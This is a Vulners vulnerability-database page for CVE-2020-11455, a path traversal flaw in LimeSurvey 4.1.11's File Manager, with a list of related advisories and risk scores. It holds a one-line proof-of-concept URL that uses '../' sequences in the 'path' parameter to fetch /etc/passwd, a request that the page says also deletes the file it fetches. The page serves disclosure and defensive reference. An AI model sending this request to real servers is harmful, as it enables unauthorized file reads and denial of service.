Vulners
Lucene search
LimeSurvey 4.1.11 - 'File Manager' Path Traversal
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | LimeSurvey 4.1.11 - (File Manager) Path Traversal Vulnerability | 6 Apr 202000:00 | – | zdt |
 | CVE-2020-11455 | 6 Apr 202000:00 | – | circl |
 | LimeSurvey path traversal vulnerability (CNVD-2020-23188) | 2 Apr 202000:00 | – | cnvd |
 | CVE-2020-11455 | 1 Apr 202015:48 | – | cve |
 | CVE-2020-11455 | 1 Apr 202015:48 | – | cvelist |
 | LimeSurvey Zip Path Traversals | 8 Apr 202018:31 | – | metasploit |
 | LimeSurvey 4.1.11 - Local File Inclusion | 1 Jun 202605:38 | – | nuclei |
 | CVE-2020-11455 | 1 Apr 202016:15 | – | nvd |
 | LimeSurvey < 4.1.12 Multiple Vulnerabilities | 12 Apr 202000:00 | – | openvas |
 | BIT-LIMESURVEY-2020-11455 | 6 Mar 202410:57 | – | osv |
10
# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455
# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files. The file manager functionality will also
# delete the file after it is downloaded (if the web service account has permissions to do so),
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"
# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwdData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Apr 2020 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 3.19.8
EPSS0.93169